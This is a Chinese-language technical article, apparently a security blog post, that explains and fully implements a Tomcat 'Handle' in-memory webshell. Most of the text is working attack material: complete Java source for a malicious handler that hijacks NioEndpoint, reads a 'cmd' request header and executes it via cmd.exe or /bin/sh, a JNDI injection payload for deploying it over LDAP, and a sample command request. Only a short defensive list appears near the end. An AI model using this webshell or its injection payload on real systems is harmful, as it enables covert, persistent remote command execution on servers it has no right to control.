连接器内存马-handle
字数 1224 2025-08-05 08:18:25

Tomcat Handle内存马技术分析与实现

0x00 前言

本文详细分析并实现了一种新型Tomcat内存马技术——Handle内存马。这种内存马解决了在请求数据未完全解析到request对象时如何获取请求数据并进行回显的技术难题。

0x01 技术背景

在传统的Adapter内存马中,当处理较靠前的组件时,数据尚未完全解析到请求对象中,导致以下方法无法获取请求头数据:

processor.getRequest().getHeader("cmd");

同时,response对象也未完全准备好,直接获取response写入数据会导致异常且无法回显。Handle内存马正是为解决这些问题而设计。

0x02 理论基础

关键方法位于:

AbstractProtocol.ConnectionHandler#public SocketState process(SocketWrapperBase wrapper, SocketEvent status)

该方法会根据不同协议创建不同的Processor,并调用其process方法。默认情况下(Http11NioProtocol),会调用Http11Processor的process方法。

通过分析调用链,可以发现这个handle实际上是NioEndpoint的handler属性。因此,我们只需要获取内存中的NioEndpoint,并替换其handler属性为我们的恶意handler,即可完成注入。

0x03 内存马构造

3.1 获取NioEndpoint

使用以下方法获取内存中的NioEndpoint对象:

public static Object getNioEndpoint() {
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        if (thread == null) continue;
        if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
            Object target = getField(thread, "target");
            Object jioEndPoint = null;
            try {
                jioEndPoint = getField(target, "this$0");
            } catch (Exception e) {}
            if (jioEndPoint == null) {
                try {
                    jioEndPoint = getField(target, "endpoint");
                    return jioEndPoint;
                } catch (Exception e) {
                    new Object();
                }
            } else {
                return jioEndPoint;
            }
        }
    }
    return new Object();
}

3.2 替换Handler

获取NioEndpoint后,保留原始handler,然后替换为我们的恶意handler:

NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
handler = nioEndpoint.getHandler();
MyHandler myHandler = new MyHandler();
nioEndpoint.setHandler(myHandler);

3.3 请求数据获取

由于请求数据尚未解析到request对象中,传统方法无法获取请求数据。解决方案是通过NioSocketWrapper的read方法直接获取请求流数据:

byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
    wrapper.read(false, buf);
    buf.position(0);
    wrapper.unRead(buf);
    String a = new String(buf.array(), "UTF-8");
    if (a.indexOf("cmd") != -1) {
        // 处理命令
    }
} catch (Exception e) {
    e.printStackTrace();
    buf.position(0);
    wrapper.unRead(buf);
}

关键点:

  1. 使用wrapper.read读取请求数据
  2. 使用wrapper.unRead将数据放回流中,不影响后续处理
  3. 从字节流中直接解析命令参数

3.4 数据回显

由于此时response对象未完全准备好,需要特殊处理回显:

// 设置socketWrapper,使response能正确写入数据
Method setMethod = processor.getClass().getDeclaredMethod("setSocketWrapper", SocketWrapperBase.class);
setMethod.setAccessible(true);
setMethod.invoke(processor, wrapper);

// 执行命令并写入响应
byte[] result = exec(cmd.trim());
processor.getRequest().getResponse().doWrite(ByteBuffer.wrap(result));

// 调用finishResponse刷新流
Method finshMethod = processor.getClass().getDeclaredMethod("finishResponse");
finshMethod.setAccessible(true);
finshMethod.invoke(processor);

0x04 完整实现

import org.apache.coyote.Processor;
import org.apache.tomcat.util.net.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.util.Set;

public class MyHandler implements AbstractEndpoint.Handler {
    private static AbstractEndpoint.Handler handler;
    private static Processor processor;

    static {
        NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
        handler = nioEndpoint.getHandler();
        MyHandler myHandler = new MyHandler();
        nioEndpoint.setHandler(myHandler);
        Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
        for (SocketWrapperBase<NioChannel> c : connections) {
            Object currentProcessor = c.getCurrentProcessor();
            if (null != currentProcessor) {
                processor = (Processor) currentProcessor;
                break;
            }
        }
    }

    @Override
    public SocketState process(SocketWrapperBase wrapper, SocketEvent status) {
        byte[] bytes = new byte[8192];
        ByteBuffer buf = ByteBuffer.wrap(bytes);
        try {
            wrapper.read(false, buf);
            buf.position(0);
            wrapper.unRead(buf);
        } catch (Exception e) {
            e.printStackTrace();
            buf.position(0);
            wrapper.unRead(buf);
        }
        
        SocketState r = SocketState.CLOSED;
        try {
            String a = new String(buf.array(), "UTF-8");
            if (a.indexOf("cmd") != -1) {
                Method setMethod = processor.getClass().getDeclaredMethod("setSocketWrapper", SocketWrapperBase.class);
                setMethod.setAccessible(true);
                setMethod.invoke(processor, wrapper);
                
                String cmd = a.substring(a.indexOf("cmd") + "cmd".length() + 1, a.indexOf("\r", a.indexOf("cmd")));
                byte[] result = exec(cmd.trim());
                
                processor.getRequest().getResponse().doWrite(ByteBuffer.wrap(result));
                
                Method finshMethod = processor.getClass().getDeclaredMethod("finishResponse");
                finshMethod.setAccessible(true);
                finshMethod.invoke(processor);
            } else {
                r = handler.process(wrapper, status);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return r;
    }

    public byte[] exec(String c) {
        byte[] result = new byte[]{};
        try {
            String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") 
                ? new String[]{"cmd.exe", "/c", c} 
                : new String[]{"/bin/sh", "-c", c};
            result = new java.util.Scanner(
                new ProcessBuilder(cmd).start().getInputStream())
                .useDelimiter("\\A").next().getBytes();
        } catch (Exception e) {}
        return result;
    }

    // 其他必要的方法实现...
}

0x05 注入方式

可以通过JNDI注入方式部署该内存马:

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:1389/0/MyHandler/123",
    "autoCommit":true
}

0x06 验证与使用

  1. 通过JNDI注入内存马
  2. 发送任意请求,在请求头中包含cmd参数
  3. 恶意handler会截获请求,执行命令并返回结果

示例请求:

GET /any/path HTTP/1.1
Host: target.com
cmd: whoami
...

0x07 注意事项

  1. 对于Tomcat 8.0以前版本,由于IO处理方式不同,此方法可能不适用
  2. 该方法依赖于Tomcat内部实现细节,不同版本可能需要调整
  3. 在实际环境中使用时需要考虑线程安全等问题

0x08 防御措施

  1. 监控NioEndpoint的handler属性变化
  2. 检查可疑的线程和类加载行为
  3. 使用RASP等运行时防护产品
  4. 定期更新Tomcat版本

0x09 总结

Handle内存马提供了一种在请求处理早期阶段进行拦截的方法,解决了传统内存马在请求数据未完全解析时的操作难题。通过直接操作socket流和精心设计的回显机制,实现了稳定可靠的命令执行功能。这种技术也提醒我们,内存马的防御需要覆盖请求处理的整个生命周期。

Tomcat Handle内存马技术分析与实现 0x00 前言 本文详细分析并实现了一种新型Tomcat内存马技术——Handle内存马。这种内存马解决了在请求数据未完全解析到request对象时如何获取请求数据并进行回显的技术难题。 0x01 技术背景 在传统的Adapter内存马中,当处理较靠前的组件时,数据尚未完全解析到请求对象中,导致以下方法无法获取请求头数据: 同时,response对象也未完全准备好,直接获取response写入数据会导致异常且无法回显。Handle内存马正是为解决这些问题而设计。 0x02 理论基础 关键方法位于: 该方法会根据不同协议创建不同的Processor,并调用其process方法。默认情况下(Http11NioProtocol),会调用Http11Processor的process方法。 通过分析调用链,可以发现这个handle实际上是NioEndpoint的handler属性。因此,我们只需要获取内存中的NioEndpoint,并替换其handler属性为我们的恶意handler,即可完成注入。 0x03 内存马构造 3.1 获取NioEndpoint 使用以下方法获取内存中的NioEndpoint对象: 3.2 替换Handler 获取NioEndpoint后,保留原始handler,然后替换为我们的恶意handler: 3.3 请求数据获取 由于请求数据尚未解析到request对象中,传统方法无法获取请求数据。解决方案是通过NioSocketWrapper的read方法直接获取请求流数据: 关键点: 使用 wrapper.read 读取请求数据 使用 wrapper.unRead 将数据放回流中,不影响后续处理 从字节流中直接解析命令参数 3.4 数据回显 由于此时response对象未完全准备好,需要特殊处理回显: 0x04 完整实现 0x05 注入方式 可以通过JNDI注入方式部署该内存马: 0x06 验证与使用 通过JNDI注入内存马 发送任意请求,在请求头中包含 cmd 参数 恶意handler会截获请求,执行命令并返回结果 示例请求: 0x07 注意事项 对于Tomcat 8.0以前版本,由于IO处理方式不同,此方法可能不适用 该方法依赖于Tomcat内部实现细节,不同版本可能需要调整 在实际环境中使用时需要考虑线程安全等问题 0x08 防御措施 监控NioEndpoint的handler属性变化 检查可疑的线程和类加载行为 使用RASP等运行时防护产品 定期更新Tomcat版本 0x09 总结 Handle内存马提供了一种在请求处理早期阶段进行拦截的方法,解决了传统内存马在请求数据未完全解析时的操作难题。通过直接操作socket流和精心设计的回显机制,实现了稳定可靠的命令执行功能。这种技术也提醒我们,内存马的防御需要覆盖请求处理的整个生命周期。